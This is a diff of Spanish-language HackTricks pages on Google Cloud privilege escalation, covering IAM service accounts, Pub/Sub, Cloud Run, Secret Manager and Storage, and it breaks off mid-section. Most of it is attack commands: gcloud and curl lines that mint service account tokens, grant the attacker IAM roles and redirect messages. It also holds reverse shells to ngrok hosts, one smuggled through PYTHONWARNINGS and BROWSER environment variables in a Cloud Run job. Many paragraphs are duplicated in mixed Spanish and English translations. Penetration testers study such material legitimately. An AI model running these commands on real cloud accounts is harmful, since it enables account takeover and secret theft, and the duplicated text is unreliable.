||||
|
||||
<details><summary>Crear clave de Service Account y autenticarse</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
</details>
|
||||
Puedes encontrar un script para automatizar la [**creación, explotación y limpieza de un entorno vulnerable aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) y un script en python para abusar de este privilegio [**aquí**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Para más información consulta la [**investigación original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Puedes encontrar un script para automatizar la [**creación, exploit y limpieza de un entorno vuln aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) y un script en python para abusar de este privilegio [**aquí**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Para más información consulta la [**investigación original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Ten en cuenta que **`iam.serviceAccountKeys.update` won't work to modify the key** de una SA porque para hacerlo también se necesita el permiso `iam.serviceAccountKeys.create`.
|
||||
Ten en cuenta que **`iam.serviceAccountKeys.update` no funcionará para modificar la clave** de una cuenta de servicio (SA) porque para ello también se necesita el permiso `iam.serviceAccountKeys.create`.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
Si tienes el permiso **`iam.serviceAccounts.implicitDelegation`** sobre un Service Account que posee el permiso **`iam.serviceAccounts.getAccessToken`** sobre un tercer Service Account, entonces puedes usar implicitDelegation para **crear un token para ese tercer Service Account**. Aquí hay un diagrama que ayuda a explicar.
|
||||
Si tienes el permiso **`iam.serviceAccounts.implicitDelegation`** sobre una cuenta de servicio que tiene el permiso **`iam.serviceAccounts.getAccessToken`** en una tercera cuenta de servicio, entonces puedes usar implicitDelegation para **crear un token para esa tercera cuenta de servicio**. Aquí hay un diagrama para ayudar a explicarlo.
|
||||
|
||||

|
||||
|
||||
Ten en cuenta que según la [**documentación**](https://cloud.google.com/iam/docs/understanding-service-accounts), la delegación de `gcloud` solo funciona para generar un token usando el método [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Así que aquí tienes cómo obtener un token usando la API directamente:
|
||||
|
||||
<details><summary>Generar token de acceso con delegación usando la API</summary>
|
||||
Ten en cuenta que, según la [**documentación**](https://cloud.google.com/iam/docs/understanding-service-accounts), la delegación de `gcloud` solo funciona para generar un token usando el método [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Así que aquí tienes cómo obtener un token usando la API directamente:
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -68,27 +67,23 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
</details>
|
||||
|
||||
Puedes encontrar un script para automatizar la [**creación, explotación y limpieza de un entorno vuln aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) y un script en python para abusar de este privilegio [**aquí**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Para más información revisa la [**investigación original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Puedes encontrar un script para automatizar la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) y un script en python para abusar de este privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Para más información consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
Un atacante con los permisos mencionados podrá **firmar payloads arbitrarios en GCP**. Por tanto será posible **crear un JWT sin firmar de la SA y luego enviarlo como un blob para que la SA objetivo firme el JWT**. Para más información [**lee esto**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
Un atacante con los permisos mencionados podrá **firmar cargas arbitrarias en GCP**. Por tanto será posible **crear un JWT sin firmar del SA y luego enviarlo como un blob para que el JWT sea firmado** por el SA al que apuntamos. Para más información [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
|
||||
Puedes encontrar un script para automatizar la [**creación, explotación y limpieza de un entorno vuln aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) y un script en python para abusar de este privilegio [**aquí**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) y [**aquí**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Para más información revisa la [**investigación original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Puedes encontrar un script para automatizar la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) y un script en python para abusar de este privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) y [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Para más información consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
Un atacante con los permisos mencionados podrá **firmar JSON Web Tokens (JWT) bien formados**. La diferencia con el método anterior es que **en lugar de hacer que Google firme un blob que contiene un JWT, usamos el método signJWT que ya espera un JWT**. Esto lo hace más fácil de usar, pero solo puedes firmar JWT en lugar de cualquier conjunto de bytes.
|
||||
Un atacante con los permisos mencionados podrá **firmar JWT bien formados (JWTs)**. La diferencia con el método anterior es que **en lugar de hacer que Google firme un blob que contiene un JWT, usamos el método signJWT que ya espera un JWT**. Esto lo hace más fácil de usar, pero solo puedes firmar JWT en lugar de cualquier secuencia de bytes.
|
||||
|
||||
Puedes encontrar un script para automatizar la [**creación, explotación y limpieza de un entorno vuln aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) y un script en python para abusar de este privilegio [**aquí**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Para más información revisa la [**investigación original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Puedes encontrar un script para automatizar la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) y un script en python para abusar de este privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Para más información consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
Un atacante con los permisos mencionados podrá **añadir políticas IAM a cuentas de servicio**. Puedes abusar de esto para **concederte** los permisos que necesitas para suplantar la cuenta de servicio. En el siguiente ejemplo nos estamos concediendo el rol `roles/iam.serviceAccountTokenCreator` sobre la SA de interés:
|
||||
|
||||
<details><summary>Agregar binding de política IAM a la cuenta de servicio</summary>
|
||||
Un atacante con los permisos mencionados podrá **agregar políticas IAM a service accounts**. Puedes abusar de esto para **concederte** los permisos que necesitas para suplantar el service account. En el siguiente ejemplo nos estamos concediendo el rol `roles/iam.serviceAccountTokenCreator` sobre el SA de interés:
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -99,55 +94,45 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
</details>
|
||||
|
||||
Puedes encontrar un script para automatizar la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
La **iam.serviceAccounts.actAs permission** es similar a la **iam:PassRole permission from AWS**. Es esencial para ejecutar tareas, como iniciar una instancia de Compute Engine, ya que otorga la capacidad de "actAs" a un Service Account, garantizando una gestión segura de permisos. Sin esto, los usuarios podrían obtener acceso indebido. Además, explotar la **iam.serviceAccounts.actAs** implica varios métodos, cada uno requiriendo un conjunto de permisos, en contraste con otros métodos que solo necesitan uno.
|
||||
La **iam.serviceAccounts.actAs permission** es como la **iam:PassRole permission from AWS**. Es esencial para ejecutar tareas, como iniciar una instancia de Compute Engine, ya que otorga la capacidad de "actAs" a una Service Account, asegurando una gestión segura de permisos. Sin esto, los usuarios podrían obtener acceso indebido. Además, explotar la **iam.serviceAccounts.actAs** implica varios métodos, cada uno requiriendo un conjunto de permisos, en contraste con otros métodos que necesitan solo uno.
|
||||
|
||||
#### Suplantación de Service account <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Suplantar un service account puede ser muy útil para **obtener privilegios nuevos y mejores**. Hay tres maneras en las que puedes [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
Impersonar una service account puede ser muy útil para **obtener nuevos y mejores privilegios**. Hay tres maneras en las que puedes [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
|
||||
- Autenticación **using RSA private keys** (cubierto arriba)
|
||||
- Autorización **using Cloud IAM policies** (cubierto aquí)
|
||||
- **Deploying jobs on GCP services** (más aplicable cuando se compromete una cuenta de usuario)
|
||||
- Authentication **using RSA private keys** (covered above)
|
||||
- Authorization **using Cloud IAM policies** (covered here)
|
||||
- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
Un atacante con los permisos mencionados podrá generar un OpenID JWT. Estos se usan para afirmar identidad y no necesariamente llevan ninguna autorización implícita sobre un recurso.
|
||||
Un atacante con los permisos mencionados podrá generar un OpenID JWT. Estos se usan para afirmar identidad y no necesariamente llevan ninguna autorización implícita contra un recurso.
|
||||
|
||||
Según este [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), es necesario indicar la audiencia (el servicio donde quieres usar el token para autenticarte) y recibirás un JWT firmado por Google que indica el service account y la audiencia del JWT.
|
||||
Según este [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), es necesario indicar el audience (servicio donde quieres usar el token para autenticarte) y recibirás un JWT firmado por google indicando la service account y el audience del JWT.
|
||||
|
||||
Puedes generar un OpenIDToken (si tienes acceso) con:
|
||||
|
||||
<details><summary>Generar OpenID token for service account</summary>
|
||||
You can generate an OpenIDToken (if you have the access) with:
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
Entonces puedes usarlo para acceder al servicio con:
|
||||
|
||||
<details><summary>Usar token OpenID para autenticarse</summary>
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
</details>
|
||||
|
||||
Algunos servicios que admiten autenticación mediante este tipo de tokens son:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (si se usa Google OIDC)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
|
||||
|
||||
Puedes encontrar un ejemplo de cómo crear un token OpenID en nombre de una cuenta de servicio [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
Puedes encontrar un ejemplo de cómo crear un token OpenID en nombre de una cuenta de servicio [**aquí**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@@ -10,28 +10,61 @@ Obtén más información en:
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
{{#endref}}
|
||||
|
||||
### `pubsub.snapshots.create`
|
||||
|
||||
Las instantáneas de los temas **contienen los mensajes actuales no reconocidos y cada mensaje después de este**. Podrías crear una instantánea de un tema para **acceder a todos los mensajes**, **evitando acceder al tema directamente**.
|
||||
### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
|
||||
|
||||
Los snapshots de topics **contienen los mensajes actuales unACKed y todos los mensajes posteriores**. Puedes crear un snapshot de un topic para **acceder a todos los mensajes**, **evitando acceder directamente al topic**.
|
||||
```bash
|
||||
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
|
||||
```
|
||||
### **`pubsub.snapshots.setIamPolicy`**
|
||||
|
||||
Asigna los permisos anteriores a ti.
|
||||
Asignarte los permisos anteriores.
|
||||
|
||||
### `pubsub.subscriptions.create`
|
||||
|
||||
Puedes crear una suscripción push en un tema que enviará todos los mensajes recibidos a la URL indicada.
|
||||
Puedes crear una push subscription en un topic que enviará todos los mensajes recibidos a la URL indicada
|
||||
|
||||
### **`pubsub.subscriptions.update`**
|
||||
|
||||
Establece tu propia URL como punto final push para robar los mensajes.
|
||||
Configura tu propia URL como push endpoint para robar los mensajes.
|
||||
|
||||
### `pubsub.subscriptions.consume`
|
||||
|
||||
Accede a los mensajes utilizando la suscripción.
|
||||
|
||||
Accede a los mensajes usando la subscription.
|
||||
```bash
|
||||
gcloud pubsub subscriptions pull <SUSCRIPTION> \
|
||||
--limit=50 \
|
||||
--format="json" \
|
||||
--project=<PROJECTID>
|
||||
```
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Otórgate cualquiera de los permisos anteriores.
|
||||
Date cualquiera de los permisos anteriores
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Para más información sobre Cloud Run consulta:
|
||||
For more information about Cloud Run check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,18 +12,15 @@ Para más información sobre Cloud Run consulta:
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
Un atacante con estos permisos puede **crear un servicio de Run que ejecute código arbitrario** (contenedor Docker arbitrario), asociarle una Service Account y hacer que el código **exfiltrate the Service Account token from the metadata**.
|
||||
Un atacante con estos permisos puede **crear un servicio de Cloud Run que ejecute código arbitrario** (arbitrary Docker container), adjuntar una Service Account al mismo, y hacer que el código **exfiltrate the Service Account token from the metadata**.
|
||||
|
||||
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
Un exploit script para este método se puede encontrar [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
|
||||
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Como el anterior pero actualizando un servicio:
|
||||
|
||||
<details>
|
||||
<summary>Deploy Cloud Run service with reverse shell</summary>
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
Otórgate permisos previos sobre Cloud Run.
|
||||
Date permisos previos sobre cloud Run.
|
||||
```bash
|
||||
# Change policy
|
||||
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
|
||||
--region=us-central1
|
||||
|
||||
# Add binding
|
||||
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
|
||||
--member="allUsers" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
|
||||
# Remove binding
|
||||
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
|
||||
--member="allUsers" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
```
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Lanza un job con un reverse shell para robar el service account indicado en el comando. Puedes encontrar un [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
|
||||
<details>
|
||||
<summary>Crear Cloud Run job con reverse shell</summary>
|
||||
Lanza un job con un reverse shell para robar la service account indicada en el comando. Puedes encontrar un [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
De forma similar al anterior, es posible **actualizar un job y actualizar la SA**, el **comando** y **ejecutarlo**:
|
||||
|
||||
<details>
|
||||
<summary>Actualizar job de Cloud Run y ejecutar con reverse shell</summary>
|
||||
De manera similar al anterior, es posible **actualizar un job y actualizar la SA**, el **comando** y **ejecutarlo**:
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -77,23 +80,32 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Otórgate los permisos anteriores sobre Cloud Jobs.
|
||||
```bash
|
||||
# Change policy
|
||||
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
|
||||
--region=us-central1
|
||||
|
||||
# Add binding
|
||||
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
|
||||
# Remove binding
|
||||
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
```
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
Abusa de las env variables de la ejecución de un job para ejecutar código arbitrario y obtener un reverse shell para dump el contenido del container (source code) y acceder a la SA dentro de la metadata:
|
||||
|
||||
<details>
|
||||
<summary>Ejecutar Cloud Run job con environment variable exploitation</summary>
|
||||
Abusar de las variables de entorno (env) de una ejecución de job para ejecutar código arbitrario y obtener una reverse shell para volcar el contenido del contenedor (código fuente) y acceder a la SA dentro de los metadatos:
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Referencias
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
+9
-3
@@ -12,9 +12,9 @@ Para más información sobre secretmanager:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Esto te da acceso para leer los secretos del secret manager y quizá esto podría ayudar a escalate privielegs (dependiendo de qué información esté almacenada dentro del secreto):
|
||||
Esto te da acceso para leer los secretos del secret manager y podría ayudar a escalar privilegios (dependiendo de la información almacenada dentro del secreto):
|
||||
|
||||
<details><summary>Obtener versión en texto claro del secreto</summary>
|
||||
<details><summary>Obtener versión del secreto en texto claro</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
@@ -31,12 +31,18 @@ Como esto también es una técnica de post exploitation, puede encontrarse en:
|
||||
|
||||
Esto te da acceso para leer los secretos del secret manager, por ejemplo usando:
|
||||
|
||||
<details><summary>Agregar binding de política IAM al secreto</summary>
|
||||
<details><summary>Añadir binding de IAM al secret</summary>
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
O revoca políticas con:
|
||||
```bash
|
||||
gcloud secrets remove-iam-policy-binding <secret-name> \
|
||||
--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,28 +12,82 @@ Información básica:
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
Este permiso te permite **descargar archivos almacenados en Cloud Storage**. Esto podría permitir escalar privilegios porque en algunas ocasiones **se guarda información sensible allí**. Además, algunos servicios de GCP almacenan su información en buckets:
|
||||
Este permiso te permite **descargar archivos almacenados en Cloud Storage**. Esto potencialmente te permitirá escalar privilegios porque en algunas ocasiones se guarda **información sensible allí**. Además, algunos servicios de GCP almacenan su información en buckets:
|
||||
|
||||
- **GCP Composer**: Cuando creas un Composer Environment el **código de todos los DAGs** se guardará dentro de un **bucket**. Estas tareas podrían contener información interesante en su código.
|
||||
- **GCP Composer**: Cuando creas un Composer Environment el **código de todos los DAGs** se guardará dentro de un **bucket**. Estas tareas pueden contener información interesante en su código.
|
||||
- **GCR (Container Registry)**: La **imagen** de los contenedores se almacena dentro de **buckets**, lo que significa que si puedes leer los buckets podrás descargar las imágenes y **buscar leaks y/o código fuente**.
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
Esto puede darte permiso para **abusar de cualquiera de los escenarios previos de esta sección**.
|
||||
Puede otorgarte permiso para **abusar cualquiera de los escenarios anteriores de esta sección**.
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role="<ROLE>" \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Remove binding
|
||||
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role="<ROLE>" \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Change Policy
|
||||
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
|
||||
--project=<PROJECT_ID> <<'POLICY'
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE>",
|
||||
"members": [
|
||||
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
POLICY
|
||||
|
||||
```
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
Para un ejemplo de cómo modificar permisos con este permiso consulta esta página:
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role=<ROLE> \
|
||||
--project=<MY_PROJECT>
|
||||
|
||||
# Remove binding
|
||||
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role=<ROLE> \
|
||||
--project=<MY_PROJECT>
|
||||
|
||||
# Change policy
|
||||
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
|
||||
--project=<PROJECT_ID> <<'POLICY'
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE>",
|
||||
"members": [
|
||||
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
POLICY
|
||||
|
||||
```
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
La funcionalidad de "interoperability" de Cloud Storage, diseñada para **cross-cloud interactions** como con AWS S3, implica la **creación de HMAC keys para Service Accounts y usuarios**. Un atacante puede explotarlo **generando una HMAC key para un Service Account con privilegios elevados**, con lo que **escalaría privilegios dentro de Cloud Storage**. Mientras que las HMAC keys asociadas a usuarios solo son recuperables vía el web console, tanto las access and secret keys permanecen **perpetuamente accesibles**, permitiendo almacenar accesos de respaldo. Por el contrario, las HMAC keys vinculadas a Service Accounts son accesibles vía API, pero sus access y secret keys no son recuperables después de la creación, añadiendo una capa de complejidad para el acceso continuo.
|
||||
|
||||
<details><summary>Crear y usar HMAC key para privilege escalation</summary>
|
||||
